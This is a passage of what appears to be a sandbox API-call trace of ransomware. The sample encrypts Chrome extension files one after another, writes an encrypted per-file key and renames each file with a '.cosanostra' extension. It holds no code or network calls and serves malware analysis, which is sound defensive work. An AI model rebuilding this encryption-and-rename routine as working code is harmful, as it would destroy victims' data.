Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.516] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json") returned 155 [0085.516] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.517] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff2a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.517] WriteFile (in: hFile=0x188, lpBuffer=0x3014a40*, nNumberOfBytesToWrite=0xd6, lpNumberOfBytesWritten=0x28dfb44, lpOverlapped=0x0 | out: lpBuffer=0x3014a40*, lpNumberOfBytesWritten=0x28dfb44*=0xd6, lpOverlapped=0x0) returned 1 [0085.517] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.517] WriteFile (in: hFile=0x188, lpBuffer=0x28dfb84*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfb44, lpOverlapped=0x0 | out: lpBuffer=0x28dfb84*, lpNumberOfBytesWritten=0x28dfb44*=0x4, lpOverlapped=0x0) returned 1 [0085.517] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfb44, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfb44*=0x30, lpOverlapped=0x0) returned 1 [0085.517] CloseHandle (hObject=0x188) returned 1 [0085.518] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\messages.json.cosanostra")) returned 1 [0085.520] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfb80 | out: pbBuffer=0x28dfb80) returned 1 [0085.520] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfb78*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfb78*=0x30) returned 1 [0085.520] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.520] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json") returned 155 [0085.520] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.521] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff08, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.521] WriteFile (in: hFile=0x188, lpBuffer=0x3014a40*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x28dfb3c, lpOverlapped=0x0 | out: lpBuffer=0x3014a40*, lpNumberOfBytesWritten=0x28dfb3c*=0xf8, lpOverlapped=0x0) returned 1 [0085.522] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.522] WriteFile (in: hFile=0x188, lpBuffer=0x28dfb7c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfb3c, lpOverlapped=0x0 | out: lpBuffer=0x28dfb7c*, lpNumberOfBytesWritten=0x28dfb3c*=0x4, lpOverlapped=0x0) returned 1 [0085.522] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfb3c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfb3c*=0x30, lpOverlapped=0x0) returned 1 [0085.522] CloseHandle (hObject=0x188) returned 1 [0085.523] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\messages.json.cosanostra")) returned 1 [0085.524] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfb78 | out: pbBuffer=0x28dfb78) returned 1 [0085.524] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfb70*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfb70*=0x30) returned 1 [0085.524] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.525] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json") returned 155 [0085.525] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.526] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff26, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.526] WriteFile (in: hFile=0x188, lpBuffer=0x3014a40*, nNumberOfBytesToWrite=0xda, lpNumberOfBytesWritten=0x28dfb34, lpOverlapped=0x0 | out: lpBuffer=0x3014a40*, lpNumberOfBytesWritten=0x28dfb34*=0xda, lpOverlapped=0x0) returned 1 [0085.527] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.527] WriteFile (in: hFile=0x188, lpBuffer=0x28dfb74*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfb34, lpOverlapped=0x0 | out: lpBuffer=0x28dfb74*, lpNumberOfBytesWritten=0x28dfb34*=0x4, lpOverlapped=0x0) returned 1 [0085.527] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfb34, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfb34*=0x30, lpOverlapped=0x0) returned 1 [0085.527] CloseHandle (hObject=0x188) returned 1 [0085.528] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\messages.json.cosanostra")) returned 1 [0085.529] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfb70 | out: pbBuffer=0x28dfb70) returned 1 [0085.529] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfb68*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfb68*=0x30) returned 1 [0085.529] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.530] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json") returned 155 [0085.530] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.531] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff23, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.531] WriteFile (in: hFile=0x188, lpBuffer=0x3014a40*, nNumberOfBytesToWrite=0xdd, lpNumberOfBytesWritten=0x28dfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3014a40*, lpNumberOfBytesWritten=0x28dfb2c*=0xdd, lpOverlapped=0x0) returned 1 [0085.531] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.531] WriteFile (in: hFile=0x188, lpBuffer=0x28dfb6c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfb2c, lpOverlapped=0x0 | out: lpBuffer=0x28dfb6c*, lpNumberOfBytesWritten=0x28dfb2c*=0x4, lpOverlapped=0x0) returned 1 [0085.532] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfb2c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfb2c*=0x30, lpOverlapped=0x0) returned 1 [0085.532] CloseHandle (hObject=0x188) returned 1 [0085.532] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\messages.json.cosanostra")) returned 1 [0085.534] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfb68 | out: pbBuffer=0x28dfb68) returned 1 [0085.534] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfb60*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfb60*=0x30) returned 1 [0085.534] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.535] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json") returned 155 [0085.535] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.536] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffffef6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.536] WriteFile (in: hFile=0x188, lpBuffer=0x3014a40*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x28dfb24, lpOverlapped=0x0 | out: lpBuffer=0x3014a40*, lpNumberOfBytesWritten=0x28dfb24*=0x10a, lpOverlapped=0x0) returned 1 [0085.537] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.537] WriteFile (in: hFile=0x188, lpBuffer=0x28dfb64*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfb24, lpOverlapped=0x0 | out: lpBuffer=0x28dfb64*, lpNumberOfBytesWritten=0x28dfb24*=0x4, lpOverlapped=0x0) returned 1 [0085.537] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfb24, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfb24*=0x30, lpOverlapped=0x0) returned 1 [0085.537] CloseHandle (hObject=0x188) returned 1 [0085.538] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\messages.json.cosanostra")) returned 1 [0085.539] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfb60 | out: pbBuffer=0x28dfb60) returned 1 [0085.540] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfb58*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfb58*=0x30) returned 1 [0085.540] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.540] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json") returned 155 [0085.540] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.541] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff2b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.541] WriteFile (in: hFile=0x188, lpBuffer=0x3014a40*, nNumberOfBytesToWrite=0xd5, lpNumberOfBytesWritten=0x28dfb1c, lpOverlapped=0x0 | out: lpBuffer=0x3014a40*, lpNumberOfBytesWritten=0x28dfb1c*=0xd5, lpOverlapped=0x0) returned 1 [0085.541] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.541] WriteFile (in: hFile=0x188, lpBuffer=0x28dfb5c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfb1c, lpOverlapped=0x0 | out: lpBuffer=0x28dfb5c*, lpNumberOfBytesWritten=0x28dfb1c*=0x4, lpOverlapped=0x0) returned 1 [0085.542] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfb1c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfb1c*=0x30, lpOverlapped=0x0) returned 1 [0085.542] CloseHandle (hObject=0x188) returned 1 [0085.542] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json.cosanostra")) returned 1 [0085.544] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfb58 | out: pbBuffer=0x28dfb58) returned 1 [0085.544] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfb50*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfb50*=0x30) returned 1 [0085.544] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.544] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\messages.json") returned 158 [0085.544] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.545] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff30, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.545] WriteFile (in: hFile=0x188, lpBuffer=0x3014a40*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x28dfb14, lpOverlapped=0x0 | out: lpBuffer=0x3014a40*, lpNumberOfBytesWritten=0x28dfb14*=0xd0, lpOverlapped=0x0) returned 1 [0085.546] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.546] WriteFile (in: hFile=0x188, lpBuffer=0x28dfb54*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfb14, lpOverlapped=0x0 | out: lpBuffer=0x28dfb54*, lpNumberOfBytesWritten=0x28dfb14*=0x4, lpOverlapped=0x0) returned 1 [0085.546] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfb14, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfb14*=0x30, lpOverlapped=0x0) returned 1 [0085.546] CloseHandle (hObject=0x188) returned 1 [0085.547] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_pt\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_pt\\messages.json.cosanostra")) returned 1 [0085.548] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfb50 | out: pbBuffer=0x28dfb50) returned 1 [0085.548] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfb48*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfb48*=0x30) returned 1 [0085.548] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.548] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\messages.json") returned 158 [0085.548] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.556] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff32, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.556] WriteFile (in: hFile=0x188, lpBuffer=0x3014a40*, nNumberOfBytesToWrite=0xce, lpNumberOfBytesWritten=0x28dfb0c, lpOverlapped=0x0 | out: lpBuffer=0x3014a40*, lpNumberOfBytesWritten=0x28dfb0c*=0xce, lpOverlapped=0x0) returned 1 [0085.556] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.556] WriteFile (in: hFile=0x188, lpBuffer=0x28dfb4c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfb0c, lpOverlapped=0x0 | out: lpBuffer=0x28dfb4c*, lpNumberOfBytesWritten=0x28dfb0c*=0x4, lpOverlapped=0x0) returned 1 [0085.556] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfb0c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfb0c*=0x30, lpOverlapped=0x0) returned 1 [0085.556] CloseHandle (hObject=0x188) returned 1 [0085.557] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_br\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_br\\messages.json.cosanostra")) returned 1 [0085.558] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfb48 | out: pbBuffer=0x28dfb48) returned 1 [0085.558] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfb40*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfb40*=0x30) returned 1 [0085.558] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, 